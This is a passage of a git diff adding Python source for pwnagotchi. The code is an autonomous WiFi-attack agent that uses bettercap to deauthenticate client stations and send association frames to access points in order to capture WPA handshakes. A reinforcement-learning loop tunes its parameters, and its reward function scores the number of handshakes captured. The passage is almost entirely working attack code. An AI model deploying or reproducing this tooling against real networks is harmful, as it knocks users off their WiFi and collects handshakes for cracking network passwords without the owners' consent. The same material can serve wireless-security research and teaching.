self._advertiser.update({ \ + 'pwnd_run': run_handshakes, + 'pwnd_tot': tot_handshakes, + 'uptime': time.time() - started, + 'epoch': self._epoch.epoch}) + + def _update_peers(self): + peer = self._advertiser.closest_peer() + self._view.set_closest_peer(peer) + + def _save_recovery_data(self): + core.log("writing recovery data to %s ..." % RECOVERY_DATA_FILE) + with open(RECOVERY_DATA_FILE, 'w') as fp: + data = { + 'started_at': self._started_at, + 'epoch': self._epoch.epoch, + 'history': self._history, + 'handshakes': self._handshakes, + 'last_pwnd': self._last_pwnd + } + json.dump(data, fp) + + def _load_recovery_data(self, delete=True, no_exceptions=True): + try: + with open(RECOVERY_DATA_FILE, 'rt') as fp: + data = json.load(fp) + core.log("found recovery data: %s" % data) + self._started_at = data['started_at'] + self._epoch.epoch = data['epoch'] + self._handshakes = data['handshakes'] + self._history = data['history'] + self._last_pwnd = data['last_pwnd'] + + if delete: + core.log("deleting %s" % RECOVERY_DATA_FILE) + os.unlink(RECOVERY_DATA_FILE) + except: + if not no_exceptions: + raise + + def _event_poller(self): + self._load_recovery_data() + + self.run('events.clear') + + core.log("event polling started ...") + while True: + time.sleep(1) + + new_shakes = 0 + s = self.session() + self._update_uptime(s) + + if self._advertiser is not None: + self._update_advertisement(s) + self._update_peers() + + self._update_counters() + + try: + for h in [e for e in self.events() if e['tag'] == 'wifi.client.handshake']: + sta_mac = h['data']['station'] + ap_mac = h['data']['ap'] + key = "%s -> %s" % (sta_mac, ap_mac) + + if key not in self._handshakes: + self._handshakes[key] = h + new_shakes += 1 + apsta = self._find_ap_sta_in(sta_mac, ap_mac, s) + if apsta is None: + core.log("!!! captured new handshake: %s !!!" % key) + self._last_pwnd = ap_mac + else: + (ap, sta) = apsta + self._last_pwnd = ap['hostname'] if ap['hostname'] != '' and ap[ + 'hostname'] != '' else ap_mac + core.log("!!! captured new handshake on channel %d: %s (%s) -> %s [%s (%s)] !!!" % ( \ + ap['channel'], + sta['mac'], sta['vendor'], + ap['hostname'], ap['mac'], ap['vendor'])) + + except Exception as e: + core.log("error: %s" % e) + + finally: + self._update_handshakes(new_shakes) + + def start_event_polling(self): + _thread.start_new_thread(self._event_poller, ()) + + def is_module_running(self, module): + s = self.session() + for m in s['modules']: + if m['name'] == module: + return m['running'] + return False + + def start(self, module): + self.run('%s on' % module) + + def restart(self, module): + self.run('%s off; %s on' % (module, module)) + + def _has_handshake(self, bssid): + for key in self._handshakes: + if bssid.lower() in key: + return True + return False + + def _should_interact(self, who): + if self._has_handshake(who): + return False + + elif who not in self._history: + self._history[who] = 1 + return True + + else: + self._history[who] += 1 + + return self._history[who] < self._config['personality']['max_interactions'] + + def _on_miss(self, who): + core.log("it looks like %s is not in range anymore :/" % who) + self._epoch.track(miss=True) + self._view.on_miss(who) + + def _on_error(self, who, e): + error = "%s" % e + # when we're trying to associate or deauth something that is not in range anymore + # (if we are moving), we get the following error from bettercap: + # error 400: 50:c7:bf:2e:d3:37 is an unknown BSSID or it is in the association skip list. + if 'is an unknown BSSID' in error: + self._on_miss(who) + else: + core.log("error: %s" % e) + + def associate(self, ap, throttle=0): + if self.is_stale(): + core.log("recon is stale, skipping assoc(%s)" % ap['mac']) + return + + if self._config['personality']['associate'] and self._should_interact(ap['mac']): + self._view.on_assoc(ap) + + try: + core.log("sending association frame to %s (%s %s) on channel %d [%d clients]..." % ( \ + ap['hostname'], ap['mac'], ap['vendor'], ap['channel'], len(ap['clients']))) + self.run('wifi.assoc %s' % ap['mac']) + self._epoch.track(assoc=True) + except Exception as e: + self._on_error(ap['mac'], e) + + if throttle > 0: + time.sleep(throttle) + self._view.on_normal() + + def deauth(self, ap, sta, throttle=0): + if self.is_stale(): + core.log("recon is stale, skipping deauth(%s)" % sta['mac']) + return + + if self._config['personality']['deauth'] and self._should_interact(sta['mac']): + self._view.on_deauth(sta) + + try: + core.log("deauthing %s (%s) from %s (%s %s) on channel %d ..." % ( + sta['mac'], sta['vendor'], ap['hostname'], ap['mac'], ap['vendor'], ap['channel'])) + self.run('wifi.deauth %s' % sta['mac']) + self._epoch.track(deauth=True) + except Exception as e: + self._on_error(sta['mac'], e) + + if throttle > 0: + time.sleep(throttle) + self._view.on_normal() + + def set_channel(self, channel, verbose=True): + if self.is_stale(): + core.log("recon is stale, skipping set_channel(%d)" % channel) + return + + # if in the previous loop no client stations has been deauthenticated + # and only association frames have been sent, we don't need to wait + # very long before switching channel as we don't have to wait for + # such client stations to reconnect in order to sniff the handshake. + wait = 0 + if self._epoch.did_deauth: + wait = self._config['personality']['hop_recon_time'] + elif self._epoch.did_associate: + wait = self._config['personality']['min_recon_time'] + + if channel != self._current_channel: + if self._current_channel != 0 and wait > 0: + if verbose: + core.log("waiting for %ds on channel %d ..." % (wait, self._current_channel)) + self.wait_for(wait) + if verbose and self._epoch.any_activity: + core.log("CHANNEL %d" % channel) + try: + self.run('wifi.recon.channel %d' % channel) + self._current_channel = channel + self._epoch.track(hop=True) + self._view.set('channel', '%d' % channel) + except Exception as e: + core.log("error: %s" % e) + + def is_stale(self): + return self._epoch.num_missed > self._config['personality']['max_misses_for_recon'] + + def any_activity(self): + return self._epoch.any_activity + + def _reboot(self): + self.set_rebooting() + self._save_recovery_data() + core.log("rebooting the system ...") + os.system("/usr/bin/sync") + os.system("/usr/sbin/shutdown -r now") + + def next_epoch(self): + was_stale = self.is_stale() + did_miss = self._epoch.num_missed + + self._epoch.next() + + # after X misses during an epoch, set the status to lonely + if was_stale: + core.log("agent missed %d interactions -> lonely" % did_miss) + self.set_lonely() + # after X times being bored, the status is set to sad + elif self._epoch.inactive_for >= self._config['personality']['sad_num_epochs']: + core.log("%d epochs with no activity -> sad" % self._epoch.inactive_for) + self.set_sad() + # after X times being inactive, the status is set to bored + elif self._epoch.inactive_for >= self._config['personality']['bored_num_epochs']: + core.log("%d epochs with no activity -> bored" % self._epoch.inactive_for) + self.set_bored() + # after X times being active, the status is set to happy / excited + elif self._epoch.active_for >= self._config['personality']['excited_num_epochs']: + core.log("%d epochs with activity -> excited" % self._epoch.active_for) + self.set_excited() + + if self._epoch.blind_for >= self._config['main']['mon_max_blind_epochs']: + core.log("%d epochs without visible access points -> rebooting ..." % self._epoch.blind_for) + self._reboot() + self._epoch.blind_for = 0 diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/__init__.py new file mode 100644 index 0000000..42b857f --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/__init__.py @@ -0,0 +1,42 @@ +import os + +# https://stackoverflow.com/questions/40426502/is-there-a-way-to-suppress-the-messages-tensorflow-prints/40426709 +os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # or any {'0', '1', '2'} +import warnings + +# https://stackoverflow.com/questions/15777951/how-to-suppress-pandas-future-warning +warnings.simplefilter(action='ignore', category=FutureWarning) + +import core + + +def load(config, agent, epoch, from_disk=True): + config = config['ai'] + if not config['enabled']: + core.log("ai disabled") + return False + + core.log("[ai] bootstrapping dependencies ...") + + from stable_baselines import A2C + from stable_baselines.common.policies import MlpLstmPolicy + from stable_baselines.common.vec_env import DummyVecEnv + + import pwnagotchi.ai.gym as wrappers + + env = wrappers.Environment(agent, epoch) + env = DummyVecEnv([lambda: env]) + + core.log("[ai] bootstrapping model ...") + + a2c = A2C(MlpLstmPolicy, env, **config['params']) + + if from_disk and os.path.exists(config['path']): + core.log("[ai] loading %s ..." % config['path']) + a2c.load(config['path'], env) + else: + core.log("[ai] model created:") + for key, value in config['params'].items(): + core.log(" %s: %s" % (key, value)) + + return a2c diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/epoch.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/epoch.py new file mode 100644 index 0000000..bdd8c2e --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/epoch.py @@ -0,0 +1,202 @@ +import time +import threading + +import core +import pwnagotchi +import pwnagotchi.mesh.wifi as wifi + +from pwnagotchi.ai.reward import RewardFunction + +class Epoch(object): + def __init__(self, config): + self.epoch = 0 + self.config = config + # how many consecutive epochs with no activity + self.inactive_for = 0 + # how many consecutive epochs with activity + self.active_for = 0 + # number of epochs with no visible access points + self.blind_for = 0 + # did deauth in this epoch in the current channel? + self.did_deauth = False + # number of deauths in this epoch + self.num_deauths = 0 + # did associate in this epoch in the current channel? + self.did_associate = False + # number of associations in this epoch + self.num_assocs = 0 + # number of assocs or deauths missed + self.num_missed = 0 + # did get any handshake in this epoch? + self.did_handshakes = False + # number of handshakes captured in this epoch + self.num_shakes = 0 + # number of channels hops + self.num_hops = 0 + # number of seconds sleeping + self.num_slept = 0 + # any activity at all during this epoch? + self.any_activity = False + # when the current epoch started + self.epoch_started = time.time() + # last epoch duration + self.epoch_duration = 0 + # https://www.metageek.com/training/resources/why-channels-1-6-11.html + self.non_overlapping_channels = {1: 0, 6: 0, 11: 0} + # observation vectors + self._observation = { + 'aps_histogram': [0.0] * wifi.NumChannels, + 'sta_histogram': [0.0] * wifi.NumChannels, + 'peers_histogram': [0.0] * wifi.NumChannels + } + self._observation_ready = threading.Event() + self._epoch_data = {} + self._epoch_data_ready = threading.Event() + self._reward = RewardFunction() + + def wait_for_epoch_data(self, with_observation=True, timeout=None): + # if with_observation: + # self._observation_ready.wait(timeout) + # self._observation_ready.clear() + self._epoch_data_ready.wait(timeout) + self._epoch_data_ready.clear() + return self._epoch_data if with_observation is False else {**self._observation, **self._epoch_data} + + def data(self): + return self._epoch_data + + def observe(self, aps, peers): + num_aps = len(aps) + if num_aps == 0: + self.blind_for += 1 + else: + self.blind_for = 0 + + num_aps = len(aps) + 1e-10 + num_sta = sum(len(ap['clients']) for ap in aps) + 1e-10 + num_peers = len(peers) + 1e-10 + + aps_per_chan = [0.0] * wifi.NumChannels + sta_per_chan = [0.0] * wifi.NumChannels + peers_per_chan = [0.0] * wifi.NumChannels + + for ap in aps: + ch_idx = ap['channel'] - 1 + try: + aps_per_chan[ch_idx] += 1.0 + sta_per_chan[ch_idx] += len(ap['clients']) + except IndexError as e: + core.log("got data on channel %d, we can store %d channels" % (ap['channel'], wifi.NumChannels)) + + for peer in peers: + try: + peers_per_chan[peer.last_channel - 1] += 1.0 + except IndexError as e: + core.log("got peer data on channel %d, we can store %d channels" % (peer.last_channel, wifi.NumChannels)) + + # normalize + aps_per_chan = [e / num_aps for e in aps_per_chan] + sta_per_chan = [e / num_sta for e in sta_per_chan] + peers_per_chan = [e / num_peers for e in peers_per_chan] + + self._observation = { + 'aps_histogram': aps_per_chan, + 'sta_histogram': sta_per_chan, + 'peers_histogram': peers_per_chan + } + self._observation_ready.set() + + def track(self, deauth=False, assoc=False, handshake=False, hop=False, sleep=False, miss=False, inc=1): + if deauth: + self.num_deauths += inc + self.did_deauth = True + self.any_activity = True + + if assoc: + self.num_assocs += inc + self.did_associate = True + self.any_activity = True + + if miss: + self.num_missed += inc + + if hop: + self.num_hops += inc + # these two are used in order to determine the sleep time in seconds + # before switching to a new channel ... if nothing happened so far + # during this epoch on the current channel, we will sleep less + self.did_deauth = False + self.did_associate = False + + if handshake: + self.num_shakes += inc + self.did_handshakes = True + + if sleep: + self.num_slept += inc + + def next(self): + if self.any_activity is False and self.did_handshakes is False: + self.inactive_for += 1 + self.active_for = 0 + else: + self.active_for += 1 + self.inactive_for = 0 + + now = time.time() + cpu = pwnagotchi.cpu_load() + mem = pwnagotchi.mem_usage() + temp = pwnagotchi.temperature() + + self.epoch_duration = now - self.epoch_started + + # cache the state of this epoch for other threads to read + self._epoch_data = { + 'duration_secs': self.epoch_duration, + 'slept_for_secs': self.num_slept, + 'blind_for_epochs': self.blind_for, + 'inactive_for_epochs': self.inactive_for, + 'active_for_epochs': self.active_for, + 'missed_interactions': self.num_missed, + 'num_hops': self.num_hops, + 'num_deauths': self.num_deauths, + 'num_associations': self.num_assocs, + 'num_handshakes': self.num_shakes, + 'cpu_load': cpu, + 'mem_usage': mem, + 'temperature': temp + } + + self._epoch_data['reward'] = self._reward(self.epoch + 1, self._epoch_data) + self._epoch_data_ready.set() + + core.log("[epoch %d] duration=%s slept_for=%s blind=%d inactive=%d active=%d hops=%d missed=%d " + "deauths=%d assocs=%d handshakes=%d cpu=%d%% mem=%d%% temperature=%dC reward=%s" % ( + self.epoch, + core.secs_to_hhmmss(self.epoch_duration), + core.secs_to_hhmmss(self.num_slept), + self.blind_for, + self.inactive_for, + self.active_for, + self.num_hops, + self.num_missed, + self.num_deauths, + self.num_assocs, + self.num_shakes, + cpu * 100, + mem * 100, + temp, + self._epoch_data['reward'])) + + self.epoch += 1 + self.epoch_started = now + self.did_deauth = False + self.num_deauths = 0 + self.did_associate = False + self.num_assocs = 0 + self.num_missed = 0 + self.did_handshakes = False + self.num_shakes = 0 + self.num_hops = 0 + self.num_slept = 0 + self.any_activity = False diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/featurizer.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/featurizer.py new file mode 100644 index 0000000..f8730f7 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/featurizer.py @@ -0,0 +1,60 @@ +import numpy as np + +import pwnagotchi.mesh.wifi as wifi + +MAX_EPOCH_DURATION = 1024 + +histogram_size = wifi.NumChannels + +shape = (1, + # aps per channel + histogram_size + + # clients per channel + histogram_size + + # peers per channel + histogram_size + + # duration + 1 + + # inactive + 1 + + # active + 1 + + # missed + 1 + + # hops + 1 + + # deauths + 1 + + # assocs + 1 + + # handshakes + 1) + + +def featurize(state, step): + tot_epochs = step + 1e-10 + tot_interactions = (state['num_deauths'] + state['num_associations']) + 1e-10 + return np.concatenate(( + # aps per channel + state['aps_histogram'], + # clients per channel + state['sta_histogram'], + # peers per channel + state['peers_histogram'], + # duration + [np.clip(state['duration_secs'] / MAX_EPOCH_DURATION, 0.0, 1.0)], + # inactive + [state['inactive_for_epochs'] / tot_epochs], + # active + [state['active_for_epochs'] / tot_epochs], + # missed + [state['missed_interactions'] / tot_interactions], + # hops + [state['num_hops'] / wifi.NumChannels], + # deauths + [state['num_deauths'] / tot_interactions], + # assocs + [state['num_associations'] / tot_interactions], + # handshakes + [state['num_handshakes'] / tot_interactions], + )) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/gym.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/gym.py new file mode 100644 index 0000000..82678c9 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/gym.py @@ -0,0 +1,151 @@ +import gym +from gym import spaces +import numpy as np + +import core +import pwnagotchi.ai.featurizer as featurizer +import pwnagotchi.ai.reward as reward +from pwnagotchi.ai.parameter import Parameter + + +class Environment(gym.Env): + metadata = {'render.modes': ['human']} + params = [ + # Parameter('advertise', trainable=False), + # Parameter('deauth', trainable=False), + # Parameter('associate', trainable=False), + + Parameter('min_rssi', min_value=-200, max_value=-50), + Parameter('ap_ttl', min_value=30, max_value=600), + Parameter('sta_ttl', min_value=60, max_value=300), + + Parameter('recon_time', min_value=5, max_value=60), + Parameter('max_inactive_scale', min_value=3, max_value=10), + Parameter('recon_inactive_multiplier', min_value=1, max_value=3), + Parameter('hop_recon_time', min_value=5, max_value=60), + Parameter('min_recon_time', min_value=1, max_value=30), + Parameter('max_interactions', min_value=1, max_value=25), + Parameter('max_misses_for_recon', min_value=3, max_value=10), + Parameter('excited_num_epochs', min_value=5, max_value=30), + Parameter('bored_num_epochs', min_value=5, max_value=30), + Parameter('sad_num_epochs', min_value=5, max_value=30), + ] + [ + Parameter('_channel_%d' % ch, min_value=0, max_value=1, meta=ch + 1) for ch in + range(featurizer.histogram_size) + ] + + def __init__(self, agent, epoch): + super(Environment, self).__init__() + self._agent = agent + self._epoch = epoch + self._epoch_num = 0 + self._last_render = None + + self.last = { + 'reward': 0.0, + 'observation': None, + 'policy': None, + 'params': {}, + 'state': None, + 'state_v': None + } + + self.action_space = spaces.MultiDiscrete([p.space_size() for p in Environment.params if p.trainable]) + self.observation_space = spaces.Box(low=0, high=1, shape=featurizer.shape, dtype=np.float32) + self.reward_range = reward.range + + @staticmethod + def policy_size(): + return len(list(p for p in Environment.params if p.trainable)) + + @staticmethod + def policy_to_params(policy): + num = len(policy) + params = {} + + assert len(Environment.params) == num + + channels = [] + + for i in range(num): + param = Environment.params[i] + + if '_channel' not in param.name: + params[param.name] = param.to_param_value(policy[i]) + else: + has_chan = param.to_param_value(policy[i]) + # print("%s policy:%s bool:%s" % (param.name, policy[i], has_chan)) + chan = param.meta + if has_chan: + channels.append(chan) + + params['channels'] = channels + + return params + + def _next_epoch(self): + # core.log("[ai] waiting for epoch to finish ...") + return self._epoch.wait_for_epoch_data() + + def _apply_policy(self, policy): + new_params = Environment.policy_to_params(policy) + self.last['policy'] = policy + self.last['params'] = new_params + self._agent.on_ai_policy(new_params) + + def step(self, policy): + # create the parameters from the policy and update + # update them in the algorithm + self._apply_policy(policy) + self._epoch_num += 1 + + # wait for the algorithm to run with the new parameters + state = self._next_epoch() + + self.last['reward'] = state['reward'] + self.last['state'] = state + self.last['state_v'] = featurizer.featurize(state, self._epoch_num) + + self._agent.on_ai_step() + + return self.last['state_v'], self.last['reward'], not self._agent.is_training(), {} + + def reset(self): + # core.log("[ai] resetting environment ...") + self._epoch_num = 0 + state = self._next_epoch() + self.last['state'] = state + self.last['state_v'] = featurizer.featurize(state, 1) + return self.last['state_v'] + + def _render_histogram(self, hist): + for ch in range(featurizer.histogram_size): + if hist[ch]: + core.log(" CH %d: %s" % (ch + 1, hist[ch])) + + def render(self, mode='human', close=False, force=False): + # when using a vectorialized environment, render gets called twice + # avoid rendering the same data + if self._last_render == self._epoch_num: + return + + if not self._agent.is_training() and not force: + return + + self._last_render = self._epoch_num + + core.log("[ai] --- training epoch %d/%d ---" % (self._epoch_num, self._agent.training_epochs())) + core.log("[ai] REWARD: %f" % self.last['reward']) + + # core.log("[ai] policy: %s" % ', '.join("%s:%s" % (name, value) for name, value in self.last['params'].items())) + + core.log("[ai] observation:") + for name, value in self.last['state'].items(): + if 'histogram' in name: + core.log(" %s" % name.replace('_histogram', '')) + self._render_histogram(value) + + # core.log("[ai] outcome:") + # for name, value in self.last['state'].items(): + # if 'histogram' not in name: + # core.log(" %s: %s" % (name, value)) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/parameter.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/parameter.py new file mode 100644 index 0000000..79f464c --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/parameter.py @@ -0,0 +1,30 @@ +from gym import spaces + + +class Parameter(object): + def __init__(self, name, value=0.0, min_value=0, max_value=2, meta=None, trainable=True): + self.name = name + self.trainable = trainable + self.meta = meta + self.value = value + self.min_value = min_value + self.max_value = max_value + 1 + + # gym.space.Discrete is within [0, 1, 2, ..., n-1] + if self.min_value < 0: + self.scale_factor = abs(self.min_value) + elif self.min_value > 0: + self.scale_factor = -self.min_value + else: + self.scale_factor = 0 + + def space_size(self): + return self.max_value + self.scale_factor + + def space(self): + return spaces.Discrete(self.max_value + self.scale_factor) + + def to_param_value(self, policy_v): + self.value = policy_v - self.scale_factor + assert self.min_value <= self.value <= self.max_value + return int(self.value) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/reward.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/reward.py new file mode 100644 index 0000000..f0e580d --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/reward.py @@ -0,0 +1,21 @@ +import pwnagotchi.mesh.wifi as wifi + +range = (-.7, 1.02) +fuck_zero = 1e-20 + + +class RewardFunction(object): + def __call__(self, epoch_n, state): + tot_epochs = epoch_n + fuck_zero + tot_interactions = max(state['num_deauths'] + state['num_associations'], state['num_handshakes']) + fuck_zero + tot_channels = wifi.NumChannels + + h = state['num_handshakes'] / tot_interactions + a = .2 * (state['active_for_epochs'] / tot_epochs) + c = .1 * (state['num_hops'] / tot_channels) + + b = -.3 * (state['blind_for_epochs'] / tot_epochs) + m = -.3 * (state['missed_interactions'] / tot_interactions) + i = -.2 * (state['inactive_for_epochs'] / tot_epochs) + + return h + a + c + b + i + m diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/train.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/train.py new file mode 100644 index 0000000..f081681 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/train.py @@ -0,0 +1,169 @@ +import _thread +import threading +import time +import random +import os +import json + +import core + +import pwnagotchi.ai as ai +from pwnagotchi.ai.epoch import Epoch + + +class Stats(object): + def __init__(self, path, events_receiver): + self._lock = threading.Lock() + self._receiver = events_receiver + + self.path = path + self.born_at = time.time() + # total epochs lived (trained + just eval) + self.epochs_lived = 0 + # total training epochs + self.epochs_trained = 0 + + self.worst_reward = 0.0 + self.best_reward = 0.0 + + self.load() + + def on_epoch(self, data, training): + best_r = False + worst_r = False + with self._lock: + reward = data['reward'] + if reward < self.worst_reward: + self.worst_reward = reward + worst_r = True + + elif reward > self.best_reward: + best_r = True + self.best_reward = reward + + self.epochs_lived += 1 + if training: + self.epochs_trained += 1 + + self.save() + + if best_r: + self._receiver.on_ai_best_reward(reward) + elif worst_r: + self._receiver.on_ai_worst_reward(reward) + + def load(self): + with self._lock: + if os.path.exists(self.path): + core.log("[ai] loading %s" % self.path) + with open(self.path, 'rt') as fp: + obj = json.load(fp) + + self.born_at = obj['born_at'] + self.epochs_lived, self.epochs_trained = obj['epochs_lived'], obj['epochs_trained'] + self.best_reward, self.worst_reward = obj['rewards']['best'], obj['rewards']['worst'] + + def save(self): + with self._lock: + core.log("[ai] saving %s" % self.path) + with open(self.path, 'wt') as fp: + json.dump({ + 'born_at': self.born_at, + 'epochs_lived': self.epochs_lived, + 'epochs_trained': self.epochs_trained, + 'rewards': { + 'best': self.best_reward, + 'worst': self.worst_reward + } + }, fp) + + +class AsyncTrainer(object): + def __init__(self, config): + self._config = config + self._model = None + self._epoch = Epoch(config) + self._is_training = False + self._training_epochs = 0 + self._nn_path = self._config['ai']['path'] + self._stats = Stats("%s.json" % os.path.splitext(self._nn_path)[0], self) + + def set_training(self, training, for_epochs=0): + self._is_training = training + self._training_epochs = for_epochs + + def is_training(self): + return self._is_training + + def training_epochs(self): + return self._training_epochs + + def start_ai(self): + _thread.start_new_thread(self._ai_worker, ()) + + def _save_ai(self): + core.log("[ai] saving model to %s ..." % self._nn_path) + self._model.save(self._nn_path) + + def on_ai_step(self): + self._model.env.render() + + if self._is_training: + self._save_ai() + + self._stats.on_epoch(self._epoch.data(), self._is_training) + + def on_ai_training_step(self, _locals, _globals): + self._model.env.render() + + def on_ai_policy(self, new_params): + core.log("[ai] setting new policy:") + for name, value in new_params.items(): + if name in self._config['personality']: + curr_value = self._config['personality'][name] + if curr_value != value: + core.log("[ai] ! %s: %s -> %s" % (name, curr_value, value)) + self._config['personality'][name] = value + else: + core.log("[ai] param %s not in personality configuration!" % name) + + self.run('set wifi.ap.ttl %d' % self._config['personality']['ap_ttl']) + self.run('set wifi.sta.ttl %d' % self._config['personality']['sta_ttl']) + self.run('set wifi.rssi.min %d' % self._config['personality']['min_rssi']) + + def on_ai_best_reward(self, r): + core.log("[ai] best reward so far: %s" % r) + self._view.on_motivated(r) + + def on_ai_worst_reward(self, r): + core.log("[ai] worst reward so far: %s" % r) + self._view.on_demotivated(r) + + def _ai_worker(self): + self._model = ai.load(self._config, self, self._epoch) + + self.on_ai_ready() + + epochs_per_episode = self._config['ai']['epochs_per_episode'] + + obs = None + while True: + self._model.env.render() + # enter in training mode? + if random.random() > self._config['ai']['laziness']: + core.log("[ai] learning for %d epochs ..." % epochs_per_episode) + try: + self.set_training(True, epochs_per_episode) + self._model.learn(total_timesteps=epochs_per_episode, callback=self.on_ai_training_step) + except Exception as e: + core.log("[ai] error while training: %s" % e) + finally: + self.set_training(False) + obs = self._model.env.reset() + # init the first time + elif obs is None: + obs = self._model.env.reset() + + # run the inference + action, _ = self._model.predict(obs) + obs, _, _, _ = self._model.env.step(action) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/utils.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/utils.py new file mode 100644 index 0000000..e6284d0 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/utils.py @@ -0,0 +1,16 @@ +import numpy as np + + +def normalize(v, min_v, max_v): + return (v - min_v) / (max_v - min_v) + + +def as_batches(x, y, batch_size, shuffle=True): + x_size = len(x) + assert x_size == len(y) + + indices = np.random.permutation(x_size) if shuffle else None + + for offset in range(0, x_size - batch_size + 1, batch_size): + excerpt = indices[offset:offset + batch_size] if shuffle else slice(offset, offset + batch_size) + yield x[excerpt], y[excerpt] diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py new file mode 100644 index 0000000..360bf01 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py @@ -0,0 +1,167 @@ +import os +import hashlib +import time +import re +from datetime import datetime + +from pwnagotchi.mesh.peer import Peer +from file_read_backwards import FileReadBackwards + +LAST_SESSION_FILE = '/root/.pwnagotchi-last-session' + + +class SessionParser(object): + EPOCH_TOKEN = '[epoch ' + EPOCH_PARSER = re.compile(r'^\s*\[epoch (\d+)\] (.+)') + EPOCH_DATA_PARSER = re.compile(r'([a-z_]+)=([^\s]+)') + TRAINING_TOKEN = ' training epoch ' + START_TOKEN = 'connecting to http' + DEAUTH_TOKEN = 'deauthing ' + ASSOC_TOKEN = 'sending association frame to ' + HANDSHAKE_TOKEN = '!!! captured new handshake ' + PEER_TOKEN = 'detected unit ' + + def _get_last_saved_session_id(self): + saved = '' + try: + with open(LAST_SESSION_FILE, 'rt') as fp: + saved = fp.read().strip() + except: + saved = '' + return saved + + def save_session_id(self): + with open(LAST_SESSION_FILE, 'w+t') as fp: + fp.write(self.last_session_id) + self.last_saved_session_id = self.last_session_id + + def _parse_datetime(self, dt): + dt = datetime.strptime(dt.split('.')[0], '%Y-%m-%d %H:%M:%S') + return time.mktime(dt.timetuple()) + + def _parse_stats(self): + self.duration = '' + self.duration_human = '' + self.deauthed = 0 + self.associated = 0 + self.handshakes = 0 + self.epochs = 0 + self.train_epochs = 0 + self.peers = 0 + self.last_peer = None + self.min_reward = 1000 + self.max_reward = -1000 + self.avg_reward = 0 + + started_at = None + stopped_at = None + cache = {} + + for line in self.last_session: + parts = line.split(']') + if len(parts) < 2: + continue + line_timestamp = parts[0].strip('[') + line = ']'.join(parts[1:]) + stopped_at = self._parse_datetime(line_timestamp) + if started_at is None: + started_at = stopped_at + + if SessionParser.DEAUTH_TOKEN in line and line not in cache: + self.deauthed += 1 + cache[line] = 1 + + elif SessionParser.ASSOC_TOKEN in line and line not in cache: + self.associated += 1 + cache[line] = 1 + + elif SessionParser.HANDSHAKE_TOKEN in line and line not in cache: + self.handshakes += 1 + cache[line] = 1 + + elif SessionParser.TRAINING_TOKEN in line: + self.train_epochs += 1 + + elif SessionParser.EPOCH_TOKEN in line: + self.epochs += 1 + m = SessionParser.EPOCH_PARSER.findall(line) + if m: + epoch_num, epoch_data = m[0] + m = SessionParser.EPOCH_DATA_PARSER.findall(epoch_data) + for key, value in m: + if key == 'reward': + reward = float(value) + self.avg_reward += reward + if reward < self.min_reward: + self.min_reward = reward + + elif reward > self.max_reward: + self.max_reward = reward + + elif SessionParser.PEER_TOKEN in line: + m = self._peer_parser.findall(line) + if m: + name, pubkey, rssi, sid, pwnd_tot, uptime = m[0] + if pubkey not in cache: + self.last_peer = Peer(sid, 1, int(rssi), + {'name': name, + 'identity': pubkey, + 'pwnd_tot': int(pwnd_tot)}) + self.peers += 1 + cache[pubkey] = self.last_peer + else: + cache[pubkey].adv['pwnd_tot'] = pwnd_tot + + if started_at is not None: + self.duration = stopped_at - started_at + mins, secs = divmod(self.duration, 60) + hours, mins = divmod(mins, 60) + else: + hours = mins = secs = 0 + + self.duration = '%02d:%02d:%02d' % (hours, mins, secs) + self.duration_human = [] + if hours > 0: + self.duration_human.append('%d hours' % hours) + if mins > 0: + self.duration_human.append('%d minutes' % mins) + if secs > 0: + self.duration_human.append('%d seconds' % secs) + + self.duration_human = ', '.join(self.duration_human) + self.avg_reward /= self.epochs + + def __init__(self, path='/var/log/pwnagotchi.log'): + self.path = path + self.last_session = None + self.last_session_id = '' + self.last_saved_session_id = '' + self.duration = '' + self.duration_human = '' + self.deauthed = 0 + self.associated = 0 + self.handshakes = 0 + self.peers = 0 + self.last_peer = None + self._peer_parser = re.compile( + 'detected unit (.+)@(.+) \(v.+\) on channel \d+ \(([\d\-]+) dBm\) \[sid:(.+) pwnd_tot:(\d+) uptime:(\d+)\]') + + lines = [] + with FileReadBackwards(self.path, encoding="utf-8") as fp: + for line in fp: + line = line.strip() + if line != "" and line[0] != '[': + continue + lines.append(line) + if SessionParser.START_TOKEN in line: + break + lines.reverse() + + self.last_session = lines + self.last_session_id = hashlib.md5(lines[0].encode()).hexdigest() + self.last_saved_session_id = self._get_last_saved_session_id() + + self._parse_stats() + + def is_new(self): + return self.last_session_id != self.last_saved_session_id diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/__init__.py 